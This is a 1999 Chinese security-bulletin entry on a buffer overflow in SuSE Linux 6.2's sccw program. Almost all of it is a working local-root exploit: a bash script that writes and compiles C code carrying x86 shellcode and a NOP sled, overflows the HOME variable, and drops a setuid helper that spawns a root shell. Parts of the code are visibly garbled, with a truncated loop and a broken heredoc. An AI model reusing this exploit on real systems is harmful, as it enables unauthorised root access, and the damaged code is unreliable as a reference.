绿盟安全月刊->第2期->最新漏洞 SuSE sscw 环境变量缓冲区溢出漏洞

作者：Brock Tellier
整理：lf
日期：1999-10-15

危害：导致本地用户取得Root权限。

易受攻击的系统：
SuSE Linux 6.2

通过下面的漏洞脚本来测试此漏洞：

#!/bin/bash
#
# Linux x86 exploit for /usr/bin/sccw on SuSE 6.2
#
# -Brock Tellier btellier@webley.com

echo "Building /tmp/sccwx.c..."
cat > /tmp/sccwx.c << FOEFOE
/*
* sccw local root Linux x86 tested on SuSE 6.2
* gcc -o sccwx sccwx.c
* must compile/run a setuid(geteuid()); system("/bin/bash"); for a
rootshell
*
* -Brock Tellier btellier@webley.com
*/


#include <stdlib.h>
#include <stdio.h>

char exec[]= /* Generic Linux x86 running our /tmp program */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/sc";



#define LEN 400
#define NOP 0x90

unsigned long get_sp(void) {

__asm__("movl %esp, %eax");

}


void main(int argc, char *argv[]) {

int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];

if(argc > 3) {
fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
exit(0);
}
else if (argc == 2){
offset=atoi(argv[1]);

}
else if (argc == 3) {
offset=atoi(argv[1]);
buflen=atoi(argv[2]);

}
else {
offset=2100;
buflen=300;

}


addr=get_sp();

fprintf(stderr, "SuSE 6.2 sccw local root\n");
fprintf(stderr, "Brock Tellier btellier@webley.com\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),exec,strlen(exec));
for(i=((buflen/2) + strlen(exec))+1;i *(int *)&buf[i]=addr+offset;

setenv("HOME", buf, 1);
execl("/usr/bin/sccw", "sccw", NULL);

}
FOEFOE

echo "Building /tmp/sccwuid.c..."

cat > /tmp/sccwuid.c < void main()
{
setuid(geteuid());
system("/bin/bash");
}
EOFFOE

echo "Compiling /tmp/sccwx..."
gcc -o /tmp/sccwx /tmp/sccwx.c

echo "Compiling /tmp/sc..."
gcc -o /tmp/sc /tmp/sccwuid.c

echo "Launching /tmp/sccwx..."
/tmp/sccwx
echo "If it didn't work, try /tmp/sccwx "

版权所有，未经许可，不得转载